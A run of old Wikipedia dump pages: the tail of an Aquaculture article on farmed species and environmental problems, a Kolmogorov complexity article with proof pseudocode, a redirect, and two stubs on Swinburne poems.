Fish and other aquacultured species are generally very efficient converters of feedstuffs into high quality protein when compared to other farmed animals. For example a catfish may take 6 kg of feed (wet weight to wet weight) to produce 1 kg of catfish whereas a chicken might take 10 kg and a pig 30 kg. This is possible primarily because aquaculture species are cold-blooded (or more corectly - poikilothermic), and hence do not waste energy on heating, and because the physics of the aquatic environmment require little energy for movement. Fish and other aquacultured species also tend to be comprised of a higher percentage of edible weight than terrestrial species. 

Farming of high value (and often overexploited) species can reduce presure on wild stocks.    

There are inumerable aquatic species farmed in small quantities around the world. Major aquaculture industries around the world include (Apology: latin names are from top of head and may be mis-spelled):

'''Atlantic salmon (''Salmo salar'') and Rainbow trout (''Oncorhynchus mykiss'').''' Also smaller volumes of a variety of other salmonids. Originally developed in Norway, Denmark (Rainbow trout although it is an American species) and Scotland, now farmed in significant quatities in Europe, Canada, Chile and Australia (Tasmania). First or Second in the world for production value.

'''Tropical shrimp; Mostly Black tiger shrimp (''Penaeus monodon'') and increasingly White shrimp (''Litopenaeus vannemi'').''' Techniques originally developed in Japan and Taiwan. Mostly farmed through tropical and sub-tropical Asia and South America. First or Second in the world for production value.

'''Carps; European carp, Chinese carps (Grass, Silver and Black) and Indian major carps''' are easily the largest global aquaculture industry by volume of production but are low in value. Major producers are China, India, Southeat Asia and Europe. China's reported production figures are considered contentious by some authorities. Value of production is also debatable according to whether value is calculated at border (exchange rate) prices or PPP (Purchasing Power Parity) prices. Nonetheless, carps are major contributors of high quality protein to the diets of poorer people around the world.

'''Seaweeds; Many species.''' Huge volumes, low value. Mostly farmed in Asia; particuarly Japan, Korea and China.

'''Catfish; Major species are Vietmanese basa (), Channel catfish and African and Asian walking catfish (''Clarias'' sp.).''' Mostly farmed in Asia and the Southern United States.

'''Tilapia; Nile tilapia and a few other species'''. Very well suited species to subsistance farming although arguably not well suited to large aquabusiness due to finicky breeding biology and low flesh recovery (Although becoming a very successful import in the US and Europe). Mostly farmed in Asia, South America and Africa. 

'''Oysters; [[Pacific oyster]] (''Crassostrea gigas''), American oyster (''Crassostrea virginica''), Flat oyster (''Ostrea edulis'')''' and others. Mostly farmed in Asia, US, Australia-New Zealand and Europe. Flat oyster was once a huge industry and low cost/very high quality food for the masses in Europe but collapsed under mortalities brought about by the parasite ''Bonamia''.

'''Mussels; Blue mussel (''Mytilus edulis''), Green mussels (''Perna'' sp.)''' Mostly farmed in Europe, Asia, New Zealand and South America.

These industries are often based in developing countries, and can contribute greatly to food security/quality and income there. Of those industries above, all but Tropical shrimp and salmonids have a low -evel environmental impact. The environmental footprint of the Tropical shrimp and salmonid industries is improving.

[[Tuna]] farming in [[Australia]] has seen financial success. Tuna farming at present is really a fattening enterprise, where wild bred juvenile tuna are captured and grown in pens to a larger size and better flesh quality. Having the fish confined in pens also means that harvests can be timed to suit the market. This practice has resulted (at least in Australia) on reduced pressure on wild populations and a much larger value for their relatively small wild (Southern bluefin) tuna quota. Relatively recently, researchers in Japan have closed the life cycle of the Pacific bluefin tuna, and European researchers in Spain are working on breeding Northern bluefin tuna.

While the negative impacts of some aquaculture on the environment has been widely publicised, the positive environmental effects of aquaculture are rarely noted. For example many aquacultured species are highly sensitive to water quality conditions and aquaculture farmers often notice the effects of pollution or reductions in water quality before other authorities. Aquaculture businesses have a vested interest in clean waterways, in that a reduction in water quality has a direct effect on their production rates and financial bottom line. Appropriate aquaculture development can serve as 'canaries' for the health of waterways, with farms often  a very new and undeveloped industry when compared to terrestrial aquacultures. Only a few species (Atlantic salmon, Pacific white shrimp and possibly several species each of catfish, carp and tilapia) are currently on their way to becoming true domesticated aquabuisiness species in the way that poultry, beef and pork have long been. While the aquaculture industry is still only a small way into the development curve the inherent biological characteristics of aquatic animals bode well for the future contribution of aquatic farming to living standards and the environment.

==Challenges==
In countries like the [[United Kingdom|U.K.]], [[Canada]], [[Norway]], and [[Chile]], [[salmon]] and [[trout]] farming are one of the fastest-growing forms of [[agriculture]]. Salmon farming is not increasing in the United States because of heavy competition from other countries, and higher environmental standards for fish farms in the US. Salmon farming, like other food producing operations such as [[beef]], [[wheat]] or [[tomato]]es can impact the environment. 

However, the difference between shore farming and fish farming is that shore farming takes place on private land, while fish farming often takes place on the public waters.  Organic wastes from fish cages can have a significant effect on water quality and the population structure of organisms, beyond the boundaries of the fish pens, increasing the occurrence of toxic [[algal bloom]]s.  Scotland, as well as Chile and China, has had serious toxic algae blooms.  Algal blooms can cause the death of huge numbers of wild fish and other species, and great harm to wild fisheries.  However, even a month of fallow time can return the area to pristine condition.

Like other agriculture production, aquaculture must stand up to a rigorous evaluation of any environmental impact. Salmon aquaculture has come under increasing scrutiny from environmental [[nongovernmental organization]]s (ENGO's). In Canada, salmon farming sites occupy a small portion of the coastal zone areas where they are located. The total area occupied by Canadian salmon farms in [[British Columbia]] and the [[Bay of Fundy]] in New Brunswick is about 8,900 acres (36 km²) which is less than 0.01% of the coastal area where these sites are located. Still, even though salmon farms occupy only a small percentage of the public waters, scientists have found a significant degradation of the areas where they exist, with lowered oxygen levels, replacement of native seaweeds with invasive seaweeds, increased algal blooms, reduction of wild species, and loss of nursery habitat for wild fish.     

Wild Pacific and Atlantic salmon stocks have seen significant declines over the last several decades, before salmon farming operations started. These declines were caused by a combination of factors including [[climate change]], [[overfishing]] and freshwater habitat destruction. However, rivers with fish farms have experienced accelerated decline of wild stocks caused by spread of diseases such as infectious salmon anemia, and parasites such as sea lice from farmed to wild salmon. 

Concerns have been raised on the East coast that wild Atlantic salmon may interbreed with and catch disease from salmon that escape from farms. Canadian salmon farmers have significantly reduced the escape of their salmon. The evidence shows that the escape of farmed salmon on Canada's west coast poses low risk to Pacific salmon. However, young wild salmon swimming down river to the ocean are free of sea lice parasites before they swim past the salmon farms, and laden with sea lice after they pass the farms.  Most die from these sea lice. 

Many farmed fish species are [[carnivore|carnivorous]], meaning that other wild fish species must be harvested to maintain the fish farm.  For example, herring are used to make salmon feed.  Since herring are the backbone of the North Atlantic food chain, increased fishing pressure on their numbers is a serious threat to all other fish species which depend on herring for food. It is argued that fish farms, far from removing the pressure on wild fish stocks, increase it. Others argue that it takes less fish (in the form of the fishmeal component of an aquaculture diet) to produce a unit of table fish through aquaculture than through the natural food web. Fisheries that are based on species lower on the trophic web (such as many species used for fishmeal) are also more resistant to overfishing than typical table fish fisheries.  

The fish farm industry is trying to decrease its reliance on fish for fish feed. The vast majority of aquaculture production on the global scale (species such as carps, catfish and tilapia) occurs with the use of feeds with very little or no fishmeal. A portion of the fish meal used in fish feeds for highly carnivorous species comes from the trimmings and discards of commercial species.  More  studies are being done concerning shifts in feed composition using poultry and vegetable oils as substitutes for fish protein &amp; oil. However this use of land based feed ingredients results in a decrease of the Omega 3 fish oils in the farmed fish (although in some cases a 'washing out' of the terrestrial oils can be achieved with a short period of feeding with marine oils prior to harvest). The current relectance to further reduce fishmeal and marine oils in the commercial diets of species such as the salmonids and shrimps is not based so much on technical difficulties as consumer resistance to the taste and health qualities of vegetarian fish. In the long term, alternative sources of long chain Omega 3 fatty acids (the most difficult ingredient to source from non fish sources) may be developed from zooplankton or microalgal origins. 

Other problems with aquaculture include the potential for increasing the spread of unwanted [[invasive species]], as farmed species are often not native to the area in which they are farmed. When these species escape, they can compete with native species and damage ecosystems. Another problem is the spread of introduced parasites, pests, and diseases. 

==See also==
*[[Algae culture]]
*[[Fishery]]
*[[Hatchery]]

==References==
*Hepburn, J. 2002. ''Taking Aquaculture Seriously''. Organic Farming, Winter 2002 © Soil Association.
*Naylor, R.L., S.L. Williams, and D.R. Strong. 2001. ''Aquaculture &amp;ndash; A Gateway For Exotic Species''. [[Science (journal)|Science]], 294: 1655-6. 
*[http://www.scotland.gov.uk/cru/kd01/green/reia-01.asp The Scottish Association for Marine Science and Napier University. 2002.  Review and  synthesis of the environmental impacts of aquaculture]
*Higginbotham James ''Piscinae: Artificial Fishponds in Roman Italy'' University of North Carolina Press (June, 1997)
* Wyban, Carol Araki (1992) ''Tide and Current: Fishponds of Hawai'I'' [[University of Hawaii]] Press :: ISBN  0-82481-396-0

==External links==
* [http://www.cjly.net/deconstructingdinner/020206.htm One Hour Radio Broadcast on Farmed Salmon in British Columbia, Canada - Kootenay Co-op Radio's Deconstructing Dinner program]
*[http://www.northernaquafarms.com/links.html Aquaculture Resources Directory] human selected reference links and downloadable reports, articles from numerous sources.
* [http://www.fao.org/fi/default.asp FAO Fisheries Department] and its [http://www.fao.org/sof/sofia/index_en.htm SOFIA report] on fisheries and aquaculture
*[http://www.greenfacts.org/fisheries/l-2/01-fisheries-production.htm#5 State of World Aquaculture] &amp;ndash;  A summary for non-specialists of the above FAO report by [[GreenFacts]].
*[http://www.certifiedorganic.bc.ca/rcbtoa/services/aquaculture.html Organic Aquaculture:] Articles and references on the merits and otherwise of farming fish organically.
*[http://govdocs.aquake.org  Aquaculture Knowledge Environment:]  A searchable online library of government and United Nations documents covering nearly every aspect of aquaculture from pond construction to international codes of conduct.
*[http://www.was.org/main/Default.asp World Aquaculture Society:] Founded in 1970, the primary focus of WAS is to improve communication and information exchange within the diverse global aquaculture community. 
*[http://www.nelha.org/ Natural Energy Laboratory of Hawaii Authority] Learn how NELHA and its tenants are using sunshine, seawater and ingenuity to bring economic development and diversity.  
*[http://www.keaholepoint.org/ Friends of NELHA] [FON] is a nonprofit corporation formed for education and outreach tours related to research, commercial and pre-commercial activities at Keahole Point, north of Kailua Kona, Hawaii. 
*[http://www.watershed-watch.org/ww/Sealicefacts/sealicefacts_main.htm Watershed Watch Society] Salmon farming and sea lice
*[http://aquanic.org/ AquaNIC] A comprehensive information server for aquaculture topics, including publications, news, events, job announcements, images, and related resources. 
*[http://www.fisheries.org American Fisheries Society] 
*[http://www.fisheries.org/ned/chapters/newyork/ New York Chapter]of the American Fisheries Society 
*[http://www.nodc.noaa.gov/ National Oceanographic Documentation Center (NOAA)] 
*[http://digital.library.unt.edu/govdocs/crs/search.tkl?q=aquaculture&amp;search_crit=title&amp;search=Search&amp;date1=Anytime&amp;date2=Anytime&amp;type=form Read Congressional Research Service (CRS) Reports regarding Aquaculture]
*[http://www.calacademy.org/research/ichthyology/catalog/ A CATALOG OF THE SPECIES OF FISHES] at California Academy of Sciences, Golden Gate Park, San Francisco, California.
*[http://www.stir.ac.uk/aqua/ INSTITUTE OF AQUACULTURE] at the University of Stirling in the United Kingdom. &quot;an international research and post-graduate training centre which is the largest of its kind in the world.&quot; 
*[http://www.fishing4info.com/ FISHING FOR INFORMATION HOME PAGE]: Guide to on-line resources in aquaculture, fisheries and aquatic science       
*[http://www.asf.ca/ Atlantic Salmon Federation] an international non-profit organization which promotes the conservation and wise management         of the Atlantic salmon and its environment. 
*[http://www.nalms.org/ North American Lake Management Society] 
*[http://www.nefsc.noaa.gov/ Northeast Fisheries Science Center, Woods Hole, Massachusetts]
*[http://www.atinet.org Advanced Technology Information Network (Calif Ag Tech Institute)]
*[http://www.cce.cornell.edu CENET, the Cornell Extension NETwork]
*[http://www.geographyinaction.co.uk/Issues/Lough%20Swilly.html Geographyinaction - Lough Swilly, Ireland example]
*[http://www.imagomundi.org/area-mt/ Aquaculture Resources for Ethno-Anthropologists] News mirror service in the field of aquaculture with focus on his social effects

[[Category:Edible fish]]
[[Category:Fisheries science|Aquaculture]]
[[Category:Hydrography|Aquaculture]]
[[Category:Physical oceanography|Aquaculture]]
[[Category:Sustainability|Aquaculture]]

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  </page>
  <page>
    <title>Kolmogorov complexity</title>
    <id>1635</id>
    <revision>
      <id>40588783</id>
      <timestamp>2006-02-21T17:38:57Z</timestamp>
      <contributor>
        <username>CSTAR</username>
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      <comment>/* Chaitin's incompleteness theorem */ It's not proof of Berry's paradox, but a construction in Berry's paradox.</comment>
      <text xml:space="preserve">In [[computer science]], the '''Kolmogorov complexity''' (also known as '''descriptive complexity''', '''Kolmogorov-Chaitin complexity''', '''stochastic complexity''', '''algorithmic entropy''', or '''program-size complexity''') of an object such as a piece of text is a measure of the computational resources needed to specify the object. For example consider the following two [[string (computer science)|string]]s of length 100

 0101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101
 
 1100100001100001110111101110110011111010010000100101011110010110001101111111010001100011011001110111

The first string admits a short [[English language]] description namely &quot;50 repetitions of '01'&quot;. The second one has no obvious simple description other than writing down the string itself.

More formally, the complexity of a string is the length of the string's shortest description in some fixed description language.  The sensitivity of complexity relative to the choice of description language is discussed below. It can be shown that the Kolmogorov complexity of any string cannot be too much larger than the length of the string itself.  Strings whose  Kolmogorov complexity is small relative to the string's size are not considered to be complex. 
The notion of Kolmogorov complexity is surprisingly deep and can be used to state and prove impossibility results akin to [[Gödel's incompleteness theorem]] and  [[halting problem|Turing's halting problem]]. 

Algorithmic information theory is the area of computer science that studies Kolmogorov complexity and other complexity measures on strings (or other [[data structure]]s).  The field was developed by [[Andrey Kolmogorov]], [[Ray Solomonoff]] and [[Gregory Chaitin]] starting in the late [[1960s]]. There are several variants of Kolmogorov complexity or algorithmic information. The most widely used one is based on self-delimiting programs and is mainly due to [[Leonid Levin]] (1974).

== Definition==

To define Kolmogorov complexity, we must first specify a description language for strings.  Such a description language can be based on a programming language such as  [[Lisp programming language|Lisp]], [[Pascal programming language|Pascal]], or [[Java virtual machine]] bytecode.  If '''P''' is a program which outputs a string ''x'', then '''P''' is a description of ''x''. The length of the description is just the length of '''P''' as a character string.  In determining the length  of '''P''', the lengths of any subroutines used in '''P''' must be accounted for.  The length of any integer constant ''n'' which occurs in the program '''P''' is  the number of bits required to represent ''n'', that is (roughly) log&lt;sub&gt;2&lt;/sub&gt;''n''.

We could alternatively choose an encoding for [[Turing machine|Turing machines]] (TM), where an ''encoding'' is a function  which associates to each TM  '''M''' a bitstring &lt;'''M'''&gt;.  If '''M''' is a TM which on input ''w'' outputs string ''x'', then the concatenated string &lt;'''M'''&gt; ''w'' is a description of ''x''.  For theoretical analysis, this approach is more suited for constructing detailed formal proofs and is generally preferred in the research literature. In this article we will use an informal approach.

Fix a description language.  Any string ''s'' has at least one description, namely the program

  '''function''' GenerateFixedString()
     '''return''' ''s''

Among all the descriptions of ''s'', there is one with shortest length denoted ''d''(''s''). In case there is more than one program of the same minimal length, choose one arbitrarily, for example selecting the lexicographically first among them. ''d''(''s'') is the '''minimal description''' of ''s''. The '''Kolmogorov complexity''' of ''s'', written ''K''(''s''), is
:&lt;math&gt;K(s) = |d(s)|. \quad &lt;/math&gt;
In the other words, ''K''(''s'') is the length of the minimal description of ''s''.

We now consider how the choice of description language affects the value of ''K'' and show that the effect of changing the description language is bounded. 

'''Theorem'''. If ''K''&lt;sub&gt;1&lt;/sub&gt; and ''K''&lt;sub&gt;2&lt;/sub&gt; are the complexity functions relative to description languages ''L''&lt;sub&gt;1&lt;/sub&gt; and ''L''&lt;sub&gt;2&lt;/sub&gt;, then there is a constant ''c'' (which depends only  on the languages ''L''&lt;sub&gt;1&lt;/sub&gt; and ''L''&lt;sub&gt;2&lt;/sub&gt;) such that
: &lt;math&gt; |K_1(s) - K_2(s)| \leq c, \quad \forall s &lt;/math&gt;

By symmetry, it suffices to prove that there is some constant ''c'' such that for all bitstrings ''s'',
: &lt;math&gt; K_1(s) \leq K_2(s) + c. &lt;/math&gt;

To see why this is so,  there is a program in the language ''L''&lt;sub&gt;1&lt;/sub&gt; which acts as an [[interpreter (computing)|interpreter]] for ''L''&lt;sub&gt;2&lt;/sub&gt;:

   '''function''' InterpretLanguage('''string''' ''p'')

where ''p'' is a program in ''L''&lt;sub&gt;2&lt;/sub&gt;.  The interpreter is characterized by the following property: 

: Running InterpretLanguage on input ''p'' returns the result of running ''p''. 

Thus if '''P''' is a program in ''L''&lt;sub&gt;2&lt;/sub&gt;  which is a minimal description of ''s'', then InterpretLanguage('''P''') returns the string ''s''. The length of this description of ''s'' is the sum of 
# The length of the program InterpretLanguage, which we can take to be the constant ''c''.
# The length of '''P''' which by definition is ''K''&lt;sub&gt;2&lt;/sub&gt;(''s'').

This proves the desired upper bound.

See also [[invariance theorem]].

==Basic results==

In the following, we will fix one definition and simply write ''K''(''s'') for the complexity of the string ''s''. 

It is not hard to see that the minimal description of a string cannot be too much larger than the string itself: the program GenerateFixedString above that outputs ''s'' is a fixed amount larger than ''s''.

'''Theorem'''. There is a constant ''c'' such that 
:&lt;math&gt; K(s) \leq |s| + c, \quad \forall s &lt;/math&gt;

The first surprising result is that there is no way to effectively compute ''K''. 

'''Theorem'''.  ''K'' is not a [[computable function]].

In other words, there is no program which takes a string ''s'' as input and produces the integer  ''K''(''s'') as output.  We show this by contradiction. Suppose there is a program 

   '''function''' KolmogorovComplexity('''string''' ''s'')

that takes as input a string ''s'' and returns ''K''(''s''). Now consider the program

   '''function''' GenerateComplexString('''int''' ''n'')
      '''for''' i = 1 to infinity:
         '''for''' each string s of length exactly i
            '''if''' KolmogorovComplexity(''s'') &gt;= ''n''
               '''return''' ''s''
               '''quit'''

This program calls KolmogorovComplexity as a subroutine.  This program tries every string, starting with the shortest, until it finds a string with complexity at least ''n'', then returns that string. Therefore, given any positive integer ''n'', it produces a string with Kolmogorov complexity at least as great as ''n''. The program itself has a fixed length ''U''. The input to the program GenerateComplexString is an integer ''n''; here, the size of ''n'' is measured by the number of bits required to represent ''n'' which is log&lt;sub&gt;2&lt;/sub&gt;(''n''). Now consider the following program: 
  
   '''function''' GenerateParadoxicalString ()
       '''return''' GenerateComplexString(''n''&lt;sub&gt;0&lt;/sub&gt;)

This program calls GenerateComplexString as a subroutine and also has a free parameter
''n''&lt;sub&gt;0&lt;/sub&gt;.  This program outputs a string ''s'' whose complexity is at least ''n''&lt;sub&gt;0&lt;/sub&gt;.  By an auspicious choice of the parameter ''n''&lt;sub&gt;0&lt;/sub&gt; we will arrive at a contradiction.  To choose this value, note ''s'' is described by the  program GenerateParadoxicalString whose length is at most 

:&lt;math&gt; U + \log_2(n_0) + C  \quad &lt;/math&gt;

where ''C'' is the &quot;overhead&quot; added by the program GenerateParadoxicalString. Since ''n'' grows faster than log&lt;sub&gt;2&lt;/sub&gt;(''n''), there exists a value  ''n''&lt;sub&gt;0&lt;/sub&gt; such that 
:&lt;math&gt; U + \log_2(n_0) + C &lt; n_0. \quad &lt;/math&gt;
But this contradicts the definition of having a complexity at least ''n''&lt;sub&gt;0&lt;/sub&gt;. Thus the  program named &quot;KolmogorovComplexity&quot; cannot actually generate strings with the desired Kolmogorov complexity. 

This is proof by contradiction where the contradiction is similar to the [[Berry paradox]]: &quot;Let ''n'' be the smallest positive integer that cannot be defined in fewer than twenty English words. Well, I just defined it in fewer than twenty English words.&quot;

== Compression ==

It is however straightforward to compute upper bounds for ''K''(''s''): simply [[data compression|compress]] the string ''s'' with some method, implement the corresponding decompressor in the chosen language, concatenate the decompressor to the compressed string, and measure the resulting string's length.

A string ''s'' is compressible by ''c'' if it has a description whose length does not exceed  |''s''| &amp;minus; ''c''.  This is equivalent to saying ''K''(''s'') &amp;le; |''s''| &amp;minus; ''c''.  Otherwise ''s'' is incompressible by ''c''. A string incompressible by one is said to be simply ''incompressible''; by the [[pigeonhole principle]], incompressible strings must exist, since there are 2&lt;sup&gt;''n''&lt;/sup&gt; bit strings of length ''n'' but only 2&lt;sup&gt;''n''&amp;minus;1&lt;/sup&gt; shorter strings, that is strings of length ''n''&amp;nbsp;&amp;minus;&amp;nbsp;1.

For the same reason, &quot;most&quot; strings are complex in the sense that they cannot be significantly compressed: ''K''(''s'') is not much smaller than |''s''|, the length of ''s'' in bits.  To make this precise, fix a value of ''n''.  There are 2&lt;sup&gt;''n''&lt;/sup&gt; bitstrings of length ''n''. The [[Uniform distribution (discrete)|uniform]] [[probability]] distribution on the space of these bitstrings assigns to each string of length exactly ''n'' equal weight 2&lt;sup&gt;&amp;minus;''n''&lt;/sup&gt;. 

'''Theorem'''. With the uniform probability distribution on the space of bitstrings of length ''n'', the probability that a string is incompressible by ''c'' is at least 1 &amp;minus; 2&lt;sup&gt;&amp;minus;''c''+1 &lt;/sup&gt; + 2&lt;sup&gt;&amp;minus;''n''&lt;/sup&gt;.  

To prove the theorem, note that the number of descriptions of length not exceeding ''n'' &amp;minus; ''c'' is given by the [[geometric series]]:

:&lt;math&gt; 1 + 2 + 2^2 + \cdots + 2^{n-c} = 2^{n-c+1}-1.\quad &lt;/math&gt;

There remain at least

:&lt;math&gt; 2^n-2^{n-c+1}+1 \quad &lt;/math&gt;

many bitstrings of length ''n'' that are incompressible by ''c''.  To determine the probability divide by 2&lt;sup&gt;''n''&lt;/sup&gt;.

This theorem is the justification for various challenges in [http://www.faqs.org/faqs/compression-faq/part1/ comp.compression FAQ]. Despite this result, it  is sometimes claimed by certain individuals (considered [[Crank (person)#Physics, computer science and mathematics|cranks]]) that they  have produced algorithms which uniformly compress data without lossage. See [[lossless data compression]].

==Chaitin's incompleteness theorem == 

We know that most strings are complex in the sense that they cannot be described in any significantly &quot;compressed&quot; way. However, it turns out that the fact that a specific string is complex cannot be formally proved,  if the string's length is above a certain threshold. The precise formalization is as follows. First fix a particular [[axiomatic system]] '''S''' for the [[natural number|natural numbers]].  The axiomatic system has to be powerful enough so that to certain assertions  '''A''' about complexity of strings one can be associate a formula '''F'''&lt;sub&gt;'''A'''&lt;/sub&gt; in '''S'''.  This association must be such that if '''F'''&lt;sub&gt;'''A'''&lt;/sub&gt; is  provable in '''S''', then the corresponding assertion '''A''' is true. This &quot;formalization&quot;  can be achieved either by an artificial encoding such as a [[Gödel numbering]] or by a formalization which more clearly respects the intended interpretation of '''S'''.

'''Theorem'''. There exists a constant ''L'' (which only depends on the particular axiomatic system and the choice of description language) such that there is no string ''s'' for which the statement
: &lt;math&gt; K(s) \geq  L \quad &lt;/math&gt;
(as formalized in '''S''') can be proven within the axiomatic system '''S'''.  Note that by the abundance of nearly incompressible strings, the vast majority of those statements must be true. 

The proof of this result is modeled on a self-referential construction used in [[Berry's paradox]]. The proof is by contradiction. If the theorem were false, then 

:'''Assumption (X)''': For any integer ''n'' there exists a string ''s'' for which there is a proof in '''S''' of the formula &quot;''K''(''s'') &amp;ge; ''n''&quot; (which we assume can be formalized in '''S'''). 

We can find an effective enumeration of all the formal proofs in '''S''' by some procedure

   '''function''' NthProof('''int''' ''n'')
which takes as input ''n'' and outputs some proof. This function
enumerates all proofs. Some of these are proofs for formulas we do not
care about here (examples of proofs which will be listed by the procedure NthProof are the various known proofs of the [[law of quadratic reciprocity]], those of [[Fermat's little theorem]] or the proof of [[Fermat's last theorem]] all translated into the formal language of '''S'''). A small fraction are complexity formulas of the form ''K''(''s'') &amp;ge; ''n'' where ''s'' and ''n'' constants in the language of '''S'''. There is a program

   '''function''' NthProofProvesComplexityFormula('''int''' ''n'')

which determines whether the ''n''&lt;sup&gt;th&lt;/sup&gt; proof actually proves
a complexity formula ''K''(''s'') &amp;ge; ''L''. The strings ''s'' and
the integer ''L'' in turn are computable by programs:
    
   '''function''' StringNthProof('''int''' ''n'')

   '''function''' ComplexityLowerBoundNthProof('''int''' ''n'')

Consider the folowing program

   '''function''' GenerateProvablyComplexString('''int''' ''n'')
      '''for''' i = 1 to infinity:
         '''if'''  NthProofProvesComplexityFormula(i) '''and''' 
             ComplexityLowerBoundNthProof(i) &gt;= ''n'' 
               '''return''' StringNthProof(''i'')
               '''quit'''

Given an ''n'', this program tries every proof until it finds a string
and a proof in the formal system '''S''' of the formula ''K''(''s'') &amp;ge; ''n''. The program
terminates by our '''Assumption (X)'''. Now this program has a length ''U''.
There is an integer ''n''&lt;sub&gt;0&lt;/sub&gt; such that ''U'' + log&lt;sub&gt;2&lt;/sub&gt;(''n''&lt;sub&gt;0&lt;/sub&gt;) + ''C''  &lt; ''n''&lt;sub&gt;0&lt;/sub&gt;, where ''C'' is the overhead cost of

    '''function''' GenerateProvablyParadoxicalString()
       '''return''' GenerateProvablyComplexString(''n''&lt;sub&gt;0&lt;/sub&gt;)
       '''quit'''

The program GenerateProvablyParadoxicalString outputs a string ''s'' for which ''K''(''s'') &amp;ge; 
''n''&lt;sub&gt;0&lt;/sub&gt; can be formally proved in '''S'''. In particular  ''K''(''s'') &amp;ge; 
''n''&lt;sub&gt;0&lt;/sub&gt; is true. However, ''s'' is also described by a program of length
''U''+log&lt;sub&gt;2&lt;/sub&gt;(''n''&lt;sub&gt;0&lt;/sub&gt;)+''C''  so its complexity is less than ''n''&lt;sub&gt;0&lt;/sub&gt;.  This contradiction proves '''Assumption (X)''' cannot hold.

Similar ideas are used to prove the properties of [[Chaitin's constant]].

The [[minimum message length]] principle of statistical and inductive inference and machine learning was developed by [http://www.csse.monash.edu.au/~dld/CSWallacePublications/ C.S. Wallace] and D.M. Boulton in 1968.  MML is [[Bayesian probability|Bayesian]] (it incorporates prior beliefs) and
information-theoretic.  It has the desirable properties of statistical
invariance (the inference transforms with a re-parametrisation, such as from
polar coordinates to Cartesian coordinates), statistical consistency (even
for very hard problems, MML will converge to any underlying model) and efficiency (the MML model will converge to any true underlying model about as quickly as is possible).   [http://www.csse.monash.edu.au/~dld/CSWallacePublications/ C.S. Wallace] and D.L. Dowe showed a formal connection between MML and algorithmic information theory (or Kolmogorov complexity) in 1999.

== References ==

* Ming Li and Paul Vitányi, ''An Introduction to Kolmogorv Complexity and Its Applications'', Springer, 1997. [http://citeseer.ist.psu.edu/li97introduction.html Introduction chapter full-text].
* Yu Manin, ''A Course in Mathematical Logic'', Springer-Verlag, 1977.
* Michael Sipser, ''Introduction to the Theory of Computation'', PWS Publishing Company, 1997.

==See also==
*[[Chaitin–Kolmogorov randomness|Chaitin-Kolmogorov randomness]]
*[[List of important publications in computer science#algorithmic information theory|Important publications in algorithmic information theory]]

==External links==

* [http://www.kolmogorov.com/ The Legacy of Andrei Nikolaevich Kolmogorov]
* [http://www.cs.umaine.edu/~chaitin/ Chaitin's online publications]
* [http://www.idsia.ch/~juergen/ray.html Solomonoff's IDSIA page]
* [http://www.idsia.ch/~juergen/kolmogorov.html Schmidhuber's generalizations of algorithmic information]
* [http://homepages.cwi.nl/~paulv/kolmogorov.html Li &amp; Vitanyi's textbook]
* [http://homepages.cwi.nl/~tromp/cl/cl.html Tromp's lambda calculus computer model offers a concrete definition of K()]
* [http://www3.oup.co.uk/computer_journal/hdb/Volume_42/Issue_04/pdf/420270.pdf Minimum Message Length and Kolmogorov Complexity] (by [http://www.csse.monash.edu.au/~dld/CSWallacePublications C.S. Wallace] and [http://www.csse.monash.edu.au/~dld D.L. Dowe], Computer Journal, Vol. 42, No. 4, 1999).
* [http://www.csse.monash.edu.au/~dld David Dowe]'s [http://www.csse.monash.edu.au/~dld/MML.html Minimum Message Length (MML)] and [http://www.csse.monash.edu.au/~dld/Occam.html Occam's razor] pages.
* P. Grunwald, M. A. Pitt and I. J. Myung (ed.), [http://mitpress.mit.edu/catalog/item/default.asp?sid=4C100C6F-2255-40FF-A2ED-02FC49FEBE7C&amp;ttype=2&amp;tid=10478 Advances in Minimum Description Length: Theory and Applications], M.I.T. Press, April 2005, ISBN 0-262-07262-9.
* [http://nms.lcs.mit.edu/~gch/kolmogorov.html Kolmogorov Complexity] provides a simple explanation of Kolmogorov complexity.

[[Category:Algorithmic information theory|*]]
[[Category:Information theory|*]]

[[de:Kolmogorow-Komplexität]]
[[fa:نظریه الگوریتمی اطلاعات]]
[[gl:Complexidade de Kolmogorov]]
[[ja:コルモゴロフ複雑性]]
[[pl:Złożoność Kołmogorowa]]
[[pt:Complexidade de Kolmogorov]]
[[ru:Колмогоровская сложность]]
[[zh:算法信息论]]
[[he:סיבוכיות קולמוגורוב]]</text>
    </revision>
  </page>
  <page>
    <title>Antoine de Saint-Exupery</title>
    <id>1636</id>
    <revision>
      <id>15900103</id>
      <timestamp>2002-07-31T05:11:56Z</timestamp>
      <contributor>
        <username>Heron</username>
        <id>2954</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Antoine de Saint-Exupéry]]</text>
    </revision>
  </page>
  <page>
    <title>Hymn to Proserpine</title>
    <id>1637</id>
    <revision>
      <id>40359152</id>
      <timestamp>2006-02-20T01:16:34Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">&quot;'''Hymn to Proserpine'''&quot; is a [[poem]] by [[Algernon Swinburne|Algernon Charles Swinburne]], published in [[1866]]. 

The poem opens with the words ''Vicisti, Galilæe'', [[Latin]] for &quot;You have conquered, O Galilean,&quot; the apocryphal [[Famous last words|dying words]] of the Emperor [[Julian the Apostate|Julian]].  He had tried to reverse the official endorsement of [[Christianity]] by the [[Roman Empire]].  The poem is cast in the form of a [[lament]] by a person professing the [[paganism]] of [[classical antiquity]] and lamenting its passing, and expresses regret at the rise of [[Christianity]]:

:''Thou hast conquered, O pale Galilean; the world has grown grey from thy breath;''
:''We have drunken of things [[Lethe]]an, and fed on the fullness of death.''

The poem is addressed to the [[goddess]] [[Proserpina]], the Roman equivalent of [[Persephone]].

==External links==
*[http://eir.library.utoronto.ca/rpo/display/poem2088.html Full text]

[[Category:British poems]]
{{poetry-stub}}</text>
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  <page>
    <title>The Triumph of Time</title>
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      <minor />
      <comment>ext link</comment>
      <text xml:space="preserve">'''The Triumph of Time''' is a poem by [[Algernon Swinburne]], published in [[1866]]. It is in adapted [[ottava rima]] and is full of elaborate use of literary devices, particularly [[alliteration]]. The theme, which purports to be autobiographical, is that of rejected love. The (male) speaker deplores the ruin of his life, and in tones at times reminiscent of ''[[Hamlet]]'', craves oblivion, for which the sea serves as a constant metaphor.

==External links--

*[http://eir.library.utoronto.ca/rpo/display/poem2104.html Complete text]
*[http://www.victorianweb.org/authors/swinburne/swinburne9.html#1 ''Victorian Web'' article]
[[Category:British poems]]</text>
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  <page>
    <title>April 28</title>
